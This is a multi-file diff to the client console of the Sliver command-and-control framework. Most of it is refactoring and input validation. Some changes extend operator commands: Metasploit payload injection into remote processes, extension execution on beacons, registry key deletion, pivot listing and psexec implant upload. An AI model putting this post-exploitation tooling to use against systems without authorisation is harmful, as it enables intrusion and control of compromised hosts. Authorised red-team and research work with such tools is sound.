if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
past := time.Now().Sub(nextCheckin)
past := time.Since(nextCheckin)
next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
} else {
eta := nextCheckin.Sub(time.Now())
eta := time.Until(nextCheckin)
next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
}
if 182 < width {
if con.Settings.SmallTermWidth < width {
tw.AppendRow(table.Row{
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
@@ -150,7 +150,7 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
next,
})
} else {
@@ -160,7 +160,7 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
fmt.Sprintf(color+"%s ago"+console.Normal, time.Since(time.Unix(beacon.LastCheckin, 0))),
next,
})
}
+1 -1
View File
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if time.Now().Before(nextCheckin) {
continue
}
delta := time.Now().Sub(nextCheckin)
delta := time.Since(nextCheckin)
if pruneDuration <= delta {
pruneBeacons = append(pruneBeacons, beacon)
}
+96 -13
View File
@@ -107,7 +107,11 @@ func BindCommands(con *console.SliverConsoleClient) {
n++
}
if 0 < n {
con.PrintInfof("Loaded %d alias(es) from disk\n", n)
if n == 1 {
con.PrintInfof("Loaded %d alias from disk\n", n)
} else {
con.PrintInfof("Loaded %d aliases from disk\n", n)
}
}
// Load Extensions
@@ -417,8 +421,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -442,8 +446,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("L", "lhost", "", "interface to bind server to")
f.Int("l", "lport", generate.DefaultHTTPSLPort, "tcp listen port")
f.Bool("D", "disable-otp", false, "disable otp authentication")
f.String("T", "long-poll-timeout", "1m30s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "30s", "server-side long poll jitter")
f.String("T", "long-poll-timeout", "1s", "server-side long poll timeout")
f.String("J", "long-poll-jitter", "2s", "server-side long poll jitter")
f.String("c", "cert", "", "PEM encoded certificate file")
f.String("k", "key", "", "PEM encoded private key file")
@@ -466,7 +470,7 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Start a stager listener",
LongHelp: help.GetHelpFor([]string{consts.StageListenerStr}),
Flags: func(f *grumble.Flags) {
f.String("p", "profile", "", "Implant profile name to link with the listener")
f.String("p", "profile", "", "implant profile name to link with the listener")
f.String("u", "url", "", "URL to which the stager will call back to")
f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
@@ -506,10 +510,10 @@ func BindCommands(con *console.SliverConsoleClient) {
Help: "Session management",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr}),
Flags: func(f *grumble.Flags) {
f.String("i", "interact", "", "interact with a sliver")
f.String("k", "kill", "", "Kill the designated session")
f.Bool("K", "kill-all", false, "Kill all the sessions")
f.Bool("C", "clean", false, "Clean out any sessions marked as [DEAD]")
f.String("i", "interact", "", "interact with a session")
f.String("k", "kill", "", "kill the designated session")
f.Bool("K", "kill-all", false, "kill all the sessions")
f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
@@ -523,7 +527,7 @@ func BindCommands(con *console.SliverConsoleClient) {
}
sessionsCmd.AddCommand(&grumble.Command{
Name: consts.PruneStr,
Help: "Kill all stale sessions",
Help: "Kill all stale/dead sessions",
LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
Flags: func(f *grumble.Flags) {
@@ -602,8 +606,8 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("g", "wg", "", "wg connection strings")
f.String("b", "http", "", "http(s) connection strings")
f.String("n", "dns", "", "dns connection strings")
f.String("p", "named-pipe", "", "named-pipe connection strings")
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
f.String("p", "named-pipe", "", "namedpipe connection strings")
f.String("i", "tcp-pivot", "", "tcppivot connection strings")
f.String("d", "delay", "0s", "delay opening the session (after checkin) for a given period of time")
@@ -619,6 +623,24 @@ func BindCommands(con *console.SliverConsoleClient) {
}
con.App.AddCommand(openSessionCmd)
// [ Close ] --------------------------------------------------------------
closeSessionCmd := &grumble.Command{
Name: consts.CloseStr,
Help: "Close an interactive session without killing the remote process",
LongHelp: help.GetHelpFor([]string{consts.CloseStr}),
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
sessions.CloseSessionCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
}
con.App.AddCommand(closeSessionCmd)
// [ Tasks ] --------------------------------------------------------------
tasksCmd := &grumble.Command{
@@ -785,6 +807,30 @@ func BindCommands(con *console.SliverConsoleClient) {
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "always-overflow",
Help: "Disable table pagination",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsAlwaysOverflow(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
settingsCmd.AddCommand(&grumble.Command{
Name: "small-terminal",
Help: "Set the small terminal width",
LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
Run: func(ctx *grumble.Context) error {
con.Println()
settings.SettingsSmallTerm(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.GenericHelpGroup,
})
con.App.AddCommand(settingsCmd)
// [ Info ] --------------------------------------------------------------
@@ -2272,6 +2318,25 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("o", "hostname", "", "remote host to write values to")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryDeleteKeyStr,
Help: "Remove a registry key",
LongHelp: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}),
Args: func(a *grumble.Args) {
a.String("registry-path", "registry path")
},
Run: func(ctx *grumble.Context) error {
con.Println()
registry.RegDeleteKeyCmd(ctx, con)
con.Println()
return nil
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("H", "hive", "HKCU", "registry hive")
f.String("o", "hostname", "", "remote host to remove value from")
},
})
registryCmd.AddCommand(&grumble.Command{
Name: consts.RegistryListSubStr,
Help: "List the sub keys under a registry key",
@@ -2405,6 +2470,24 @@ func BindCommands(con *console.SliverConsoleClient) {
HelpGroup: consts.SliverHelpGroup,
})
pivotsCmd.AddCommand(&grumble.Command{
Name: "graph",
Help: "Get details of a pivot listener",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, "graph"}),
Flags: func(f *grumble.Flags) {
f.Int("i", "id", 0, "id of the pivot listener to stop")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.PivotsGraphCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
// [ WireGuard ] --------------------------------------------------------------
con.App.AddCommand(&grumble.Command{
+1 -1
View File
@@ -109,7 +109,7 @@ func PrintExecuteAssembly(execAssembly *sliverpb.ExecuteAssembly, hostname strin
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
outFilePath, _ = ioutil.TempFile("", outFile)
}
con.PrintInfof("Assembly output:\n%s", string(execAssembly.GetOutput()))
if outFilePath != nil {
+4 -4
View File
@@ -31,7 +31,7 @@ import (
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"golang.org/x/crypto/ssh/terminal"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
@@ -161,9 +161,9 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
var oldState *terminal.State
var oldState *term.State
if !noPty {
oldState, err = terminal.MakeRaw(0)
oldState, err = term.MakeRaw(0)
log.Printf("Saving terminal state: %v", oldState)
if err != nil {
con.PrintErrorf("Failed to save terminal state\n")
@@ -195,7 +195,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
if !noPty {
log.Printf("Restoring terminal state ...")
terminal.Restore(0, oldState)
term.Restore(0, oldState)
}
log.Printf("Exit interactive")
+23 -6
View File
@@ -33,8 +33,8 @@ import (
// MsfInjectCmd - Inject a metasploit payload into a remote process
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -49,15 +49,23 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
if pid == -1 {
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Injecting payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
Request: con.ActiveTarget.Request(ctx),
@@ -90,6 +98,15 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// PrintMsfRemote - Print the results of the remote injection attempt
func PrintMsfRemote(msfRemote *sliverpb.Task, con *console.SliverConsoleClient) {
if msfRemote.Response == nil {
con.PrintErrorf("Empty response from msf payload injection task")
return
}
if msfRemote.Response.Err != "" {
con.PrintInfof("Executed payload on target")
} else {
con.PrintErrorf("Failed to inject payload: %s", msfRemote.Response.Err)
}
}
+29 -6
View File
@@ -25,14 +25,15 @@ import (
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
// MsfCmd - Inject a metasploit payload into the current remote process
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
@@ -46,12 +47,21 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending payload %s %s/%s -> %s:%d ...",
payloadName, session.OS, session.Arch, lhost, lport)
msg := fmt.Sprintf("Sending msf payload %s %s/%s -> %s:%d ...",
payloadName, goos, goarch, lhost, lport)
con.SpinUntil(msg, ctrl)
_, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
Request: con.ActiveTarget.Request(ctx),
Payload: payloadName,
LHost: lhost,
@@ -63,7 +73,20 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if msfTask.Response != nil && msfTask.Response.Async {
con.AddBeaconCallback(msfTask.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, msfTask)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintMsfRemote(msfTask, con)
})
con.PrintAsyncResponse(msfTask.Response)
} else {
con.PrintInfof("Executed payload on target\n")
PrintMsfRemote(msfTask, con)
}
}
+1 -1
View File
@@ -86,7 +86,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("No profile found for name %s\n", profile)
return
}
sliverBinary, err := generate.GetSliverBinary(implantProfile, con)
sliverBinary, _ := generate.GetSliverBinary(implantProfile, con)
filename := randomString(10)
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(sliverBinary)
+1 -1
View File
@@ -56,7 +56,7 @@ The structure is the following one:
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
- `init`: the initialization function name (if relevant, can be omitted)
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
The `type` of an argument can be one of the following:
+5 -1
View File
@@ -34,7 +34,11 @@ import (
// ExtensionsCmd - List information about installed extensions
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrintExtensions(con)
if 0 < len(getInstalledManifests()) {
PrintExtensions(con)
} else {
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
}
}
// PrintExtensions - Print a list of loaded extensions
+9 -3
View File
@@ -98,7 +98,7 @@ func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
}
// Install an extension from a .tar.gz file
// InstallFromFilePath - Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
@@ -151,14 +151,20 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, artifactPath)
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
os.MkdirAll(artifactDir, 0o700)
err := os.MkdirAll(artifactDir, 0o700)
if err != nil {
return err
}
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
+70 -64
View File
@@ -38,11 +38,13 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
@@ -82,7 +84,7 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), cmdName, extFile.Path)
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
break
}
}
@@ -105,15 +107,15 @@ func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
// do not add if the command already exists
if CmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
if CmdExists(extCmd.CommandName, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
return
}
ExtensionRegisterCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
// ParseExtensions - Parse extension files
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
@@ -178,11 +180,11 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "save", false, "Save output to disk")
// f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if len(extCmd.Arguments) > 0 {
if 0 < len(extCmd.Arguments) {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
@@ -212,27 +214,26 @@ func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverCons
con.App.AddCommand(extensionCmd)
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *ExtensionManifest) error {
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if len(session.Extensions) == 0 {
if checkCache {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
con.PrintErrorf("List extensions error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
@@ -248,7 +249,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
return errLoad
}
}
@@ -258,31 +259,17 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
if err != nil {
return err
}
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.Name,
Name: ext.CommandName,
Data: binData,
OS: session.OS,
OS: goos,
Init: ext.Init,
Request: con.ActiveTarget.Request(ctx),
})
@@ -295,10 +282,10 @@ func registerExtension(con *console.SliverConsoleClient, ext *ExtensionManifest,
return nil
}
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := loadedExtensions[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
if err != nil {
return err
}
@@ -306,23 +293,31 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
if err != nil {
return err
}
return registerExtension(con, depExt, depBinData, session, ctx)
return registerExtension(goos, depExt, depBinData, ctx, con)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
@@ -330,23 +325,15 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if err = loadExtension(ctx, session, con, ext); err != nil {
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Failed to read extension file: %s\n", err)
return
}
@@ -361,7 +348,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
con.PrintErrorf("BOF args error: %s\n", err)
return
}
extName = ext.DependsOn
@@ -370,13 +357,14 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.Name
extName = ext.CommandName
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
@@ -385,21 +373,39 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err.Error())
con.PrintErrorf("Call extension error: %s\n", err.Error())
return
}
if callExtResp.Response != nil && callExtResp.Response.Async {
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, callExtResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
})
con.PrintAsyncResponse(callExtResp.Response)
} else {
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}
}
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
+4
View File
@@ -81,6 +81,10 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Then we have a filter on the end of the path
remotePath = baseDir
filter = potentialFilter
} else {
if !strings.HasSuffix(remotePath, "/") {
remotePath = remotePath + "/"
}
}
}
}
+4
View File
@@ -64,6 +64,10 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dst := remotePath
fileBuf, err := ioutil.ReadFile(src)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
uploadGzip := new(encoders.Gzip).Encode(fileBuf)
ctrl := make(chan bool)
+29 -5
View File
@@ -394,6 +394,9 @@ func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "mtls" {
return nil, fmt.Errorf("invalid mtls schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
}
@@ -415,17 +418,20 @@ func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
if strings.HasPrefix(arg, "wg://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
uri, err = url.Parse(fmt.Sprintf("wg://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "wg" {
return nil, fmt.Errorf("invalid wg schema: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
}
@@ -458,6 +464,9 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "http" && uri.Scheme != "https" {
return nil, fmt.Errorf("invalid http(s) scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -487,6 +496,9 @@ func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
return nil, err
}
}
if uri.Scheme != "dns" {
return nil, fmt.Errorf("invalid dns scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -505,17 +517,20 @@ func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "named-pipe://") {
if strings.HasPrefix(arg, "namedpipe://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
uri, err = url.Parse(fmt.Sprintf("namedpipe://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "namedpipe" {
return nil, fmt.Errorf("invalid namedpipe scheme: %s", uri.Scheme)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
@@ -535,16 +550,25 @@ func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
var uri *url.URL
var err error
if strings.HasPrefix(arg, "tcp-pivot://") {
arg = strings.Replace(arg, "tcp-pivot://", "tcppivot://", 1)
}
if strings.HasPrefix(arg, "tcppivot://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
uri, err = url.Parse(fmt.Sprintf("tcppivot://%s", arg))
if err != nil {
return nil, err
}
}
if uri.Scheme != "tcppivot" {
return nil, fmt.Errorf("invalid tcppivot scheme: %s", uri.Scheme)
}
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultTCPPivotPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
+2 -2
View File
@@ -157,8 +157,8 @@ func ImplantBuildByName(name string, con *console.SliverConsoleClient) *clientpb
if err != nil {
return nil
}
for _, build := range builds.Configs {
if build.Name == name {
for sliverName, build := range builds.Configs {
if sliverName == name {
return build
}
}
+2 -1
View File
@@ -46,7 +46,7 @@ func printHelp(con *console.SliverConsoleClient) {
for _, c := range con.App.Commands().All() {
key := c.HelpGroup
targetOS := ""
session, beacon := con.ActiveTarget.GetInteractive()
session, beacon := con.ActiveTarget.Get()
if session != nil {
targetOS = session.OS
} else if beacon != nil {
